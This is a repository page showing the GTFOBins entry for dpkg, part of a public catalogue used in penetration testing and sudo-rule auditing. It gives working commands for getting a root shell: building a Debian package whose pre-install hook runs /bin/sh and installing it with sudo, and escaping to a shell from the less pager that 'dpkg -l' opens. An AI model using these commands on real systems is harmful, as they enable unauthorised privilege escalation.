Files
GTFOBins.github.io/_gtfobins/dpkg.md
Maciej Piechota f6ccddda5c Update dpkg.md
dpkg uses system less pager to list the installed packages.
2020-04-25 19:29:59 +02:00

470 B

functions
functions
sudo shell
description code
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` TF=$(mktemp -d) echo 'exec /bin/sh' > $TF/x.sh fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF ``` sudo dpkg -i x_1.0_all.deb
code
dpkg -l !/bin/sh